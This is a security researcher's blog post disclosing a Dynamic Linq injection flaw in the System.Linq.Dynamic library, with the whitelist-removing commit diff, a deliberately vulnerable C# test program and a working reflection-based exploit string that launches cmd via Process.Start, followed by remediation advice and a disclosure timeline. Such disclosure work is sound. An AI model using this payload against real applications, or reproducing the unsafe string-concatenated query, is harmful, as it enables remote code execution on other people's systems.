Breaking

Linq Injection – From Attacking Filters to Code Execution

Some of you (especially the .Net guys) might have heard of the query language Linq (Language Integrated Query) used by Microsoft .Net applications and web sites. It’s used to access data from various sources like databases, files and internal lists. It can internally transform the accessed data in application objects and provides filter mechanisms similar to SQL. As it is used directly inside the application source code, it will be processed at compile time and not interpreted at runtime. While this provides a great type safety and almost no attack surface for injection attacks (except from possible handling problems in the different backends), it is extremely difficult to implement a dynamic filter system (e.g. for datatables which should allow users to select the column to filter on). That’s probably the reason why Scott Guthrie (Executive Vice President of the Cloud and Enterprise group in Microsoft, also one of the founders of the .Net project) presented the System.Linq.Dynamic package as part of the VS-2008 samples in 2008. This library allows to build Linq queries at runtime and therefore simplify dynamic filters. But as you may know, dynamic interpretation of languages based on user input is most of the time not the best option….

Let’s start with an example. Typically, some will use Linq to filter a list of objects based on their attribute values. This could be done with a statement like this (note: this is written inside of C# code and interpreted at compile time):

var query = From p In Northwind.Products
            p.CategoryID = 3 And p.UnitPrice > 3
            Order By p.SupplierId
            Select p;

Written in Dynamic Linq, It would look like the following code excerpt:

var query = northwind.Products
            .Where("CategoryID = 3 AND UnitPrice > 3")
            .OrderBy("SupplierID");

As you may see, it’s just a call to a Where method on the list/cursor/… and an additional OrderBy to specify the order. If the developer would allow the users to change the property to filter on (for example UnitAmount instead of UnitPrice) he would probably change the call to the following (obviously he would also allow them to use a different value than 3, but I’ll leave it here for simplicity):

var query = northwind.Products
            .Where("CategoryID = 3 AND " + propertyName + " > 3")
            .OrderBy("SupplierID");

If the objects would only contain properties which contain no private data it shouldn’t be a problem to give the user access to every existing property on the object (as he might use techniques comparable to blind sqli to guess some of the data), right?

Well….. no. Linq (and Dynamic Linq also) not only support to read property values, but also to execute functions on and from the properties. This is required to provide mechanisms like averaging the values or getting the minimum value or other mathematical operations. The original version of the library published by Microsoft was aware of the possible security issues by allowing to execute methods on behalf of untrusted user input and therefore implemented a whitelisting filter (sidenote: always do whitelisting, not blacklisting). This whitelist only allowed to call methods belonging to the types Object, Boolean, Char, String, SByte, Byte, Int16, UInt16, Int32, UInt32, Int64, UInt64, Single, Double, Decimal, DateTime, DateTimeOffset, TimeSpan, Guid, Math, Convert and System.Data.Objects.EntityFunctions. Even if this is quite a lot of types, they only provide methods to directly operate on the datatypes (splitting, joining, adding time offset, etc.). As this library was only part of the VS-2008 sample packages, it was taken over by the community in 2011 to continue the development and provide bugfixes etc. At the end of 2015 someone noticed that it is not possible to execute methods defined in the filtered objects itself and therefore provided the “fix” at commit 37f424144c009e30a1890ff6cadd3b3424219371 which removed the type whitelist:

@@ -1441,8 +1441,6 @@ Expression ParseMemberAccess(Type type, Expression instance)
                              id, GetTypeName(type));
                      case 1:
                          MethodInfo method = (MethodInfo)mb;
 -                        if (!IsPredefinedType(method.DeclaringType))
 -                            throw ParseError(errorPos, Res.MethodsAreInaccessible, GetTypeName(method.DeclaringType));
                          if (method.ReturnType == typeof(void))
                              throw ParseError(errorPos, Res.MethodIsVoid,
                                  id, GetTypeName(method.DeclaringType));
 @@ -1574,12 +1572,6 @@ Expression ParseElementAccess(Expression expr)
              }
          }
  
 -        static bool IsPredefinedType(Type type)
 -        {
 -            foreach (Type t in predefinedTypes) if (t == type) return true;
 -            return false;
 -        }
 -
          static bool IsNullableType(Type type)
          {
              return type.IsGenericType && type.GetGenericTypeDefinition() == typeof(Nullable<>);

This became part of release 1.0.6 and the problems started….

If you find a situation like described above (applications that allow to specify the property where it will filter on) and it is using this version of the library, you’ll get code execution 😉

So let’s again do an example to see how an exploit could look like:

To be able to test the vulnerability (I found the commit during researching the library) I created a small application which accesses the library and directly puts a user input into the library methods.

using System;
using System.Net;
using System.Linq;
using System.Linq.Dynamic;
using System.Reflection;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;

namespace DynamicLinq
{
	class Message
	{
		public string Sender;
		public string Receiver;
		public string Text;
		public DateTime SentAt;
		public int Id;
		public IPAddress ip4;

		public Message(string sender, string receiver, string text, DateTime sentAt, int id, IPAddress ip4) {
			this.Sender = sender;
			this.Receiver = receiver;
			this.Text = text;
			this.SentAt = sentAt;
			this.Id = id;
			this.ip4 = ip4;
		}
	}

	class MainClass
	{
		public static void Main (string[] args)
		{
			var messages = new Message[] {
				new Message("Alice", "Bob", "Hello Bob!", DateTime.Now, 1, IPAddress.Parse("127.0.0.1")),
				new Message("Bob", "Alice", "Hello Alice!", DateTime.Now, 2, IPAddress.Parse("127.0.0.1")),
				new Message("Alice", "Bob", "Nice chat!", DateTime.Now, 3, IPAddress.Parse("127.0.0.1")),
				new Message("Alice", "Bob", "Foobar", DateTime.Now, 4, IPAddress.Parse("127.0.0.1")),
				new Message("Alice", "Fred", "Hello Fred!", DateTime.Now, 5, IPAddress.Parse("127.0.0.1"))
			};

			var field = args [0];
			var op = args [1];
			var value = args [2];


			var filteredMessages = messages.Where (field + op + value);
			Console.WriteLine ("Dynamic Linq version: {0}", typeof(System.Linq.Dynamic.DynamicExpression).Assembly.FullName);

			foreach (var message in filteredMessages) {
				foreach(var prop in message.GetType().GetFields())
				{
					string name = prop.Name;
					object val = prop.GetValue(message);
					Console.WriteLine("{0}={1}", name, val);
				}
				Console.WriteLine();
			}
		}
	}
}

Let’s see how it would look like to use this application:

So when the application works, it takes a left operand, a compare operator and a right operand as input and filters a list of objects based on the input. If we use the wrong datatype we’ll get errors as if we try to use properties which are not available on the current object.

DEMO TIME!!!!!

https://youtube.com/watch?v=LPertsC-cC8

How does this work? The exploit string in this case was

"".GetType().Assembly.GetType("System.AppDomain").GetMethods()[104].Invoke("".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null), "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())).GetType().GetMethods()[80].Invoke(null, "cmd;/T:4A /K whoami && echo was HACKED".Split(";".ToCharArray()))

The attack uses reflection to obtain a reference to the System.Diagnostics.Process class and calls the static method Start, which runs a system shell and executes given commands. The exploit is equivalent to the following code snippet:

System.Diagnostics.Process.Start("cmd", "/T:4A /K whoami &amp;&amp; echo was HACKED");

Let’s see how we get there.

First of all, we want to get a reference to the Process class. As this class is most of the time not used inside of such queries, we’ll have to load the assembly which contains the class. This could be done in C# by using this code snippet:

var processClass = System.AppDomain.CurrentDomain.CreateInstanceAndUnwrap("System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Diagnostics.Process");

A big problem with Dynamic Linq is that we cannot easily execute static functions (except for the whitelisted classes). Additionally we cannot cast one object type into other object types.

As we need to call the CreateInstanceAndUnwrap method on an instance of the System.AppDomain class, we try to get the global instance by reflection. The global instance of this class can be fetched by using the following reflection snippet:

"".GetType().Assembly.GetType("System.AppDomain").GetProperty("CurrentDomain").GetValue(null);

It tries to get the assembly where the class is specified by accessing the class of a string, the assembly where the class is specified and requesting the class System.AppDomain. After that, the GetProperty method is used to obtain a reference to the CurrentDomain property which holds the global instance. As this property is static, we can get its value by calling the GetValue method with null.

In the next step, we need to call the CreateInstanceAndUnwrap method with the previously obtained object. Sadly, this method has multiple definitions and we aren’t able to specify which types of arguments we need. But by using a list of all methods, we are able to select the appropriate one by a numerical index (might differ between different .Net versions):

"".GetType().Assembly.GetType("System.AppDomain").GetMethods()[104]

The reflection method Invoke is used to execute a reference to a method. The problem with this method is the fact that it receives two arguments, a reference to the object and an array of arguments. We cannot create arrays directly in Linq… But as the method we try to execute requires only arguments of the String class, we can use a trick: we take a string which contains all the arguments we want to use and split it by a separator (“;” in this case):

"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;System.Diagnostics.Process".Split(";".ToCharArray())

this results to

{"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Diagnostics.Process"}

and we get our target class 🙂

We use the same approach to get the Start method and execute it with the command and argument we want to.

Conclusion

String concatenation based on user controlled data is always dangerous. Dynamic Linq supports parameterized queries for the values so use them  (Where("Id = @", 2)). If you want to allow your users to customize the filter properties, you’ll have to validate them accordingly.

So long,

Timo

@bluec0re

Timeline

  • 2016-05-01 Found during research at a penetration test (vulnerability was introduced in a newer version than the one used by the customer)
  • 2016-07-12 Developed full exploit
  • 2016-07-13 Contacted main developers of the project regarding the vulnerability
  • 2016-07-21 Started second contact attempt including a 90 day time frame. No Answer
  • 2016-07-29 Started third attempt. No Answer
  • 2016-09-07 Fourth attempt for asking if a github issue should really be filled in. No Answer
  • 2016-10-17 Public Disclosure

References

[1] https://github.com/bluec0re/dynamic-linq-injection

Comments

  1. Great article! I was playing around with this in our application where one of our developer was going to implement dynamic query which would take user input and put it to dynamic linq like this: Where(UserInput))

    I got the exception below when I put your string into the input. Does this mean that this issue has been addressed? I probably should assume that it is not a good idea to put unsanitized input to dynamic linq even if this specific issue in this article has been fixed.

    An exception of type ‘System.Linq.Dynamic.Core.Exceptions.ParseException’ occurred in System.Linq.Dynamic.Core.dll but was not handled in user code: ‘Methods on type ‘Assembly’ are not accessible’

Comments are closed.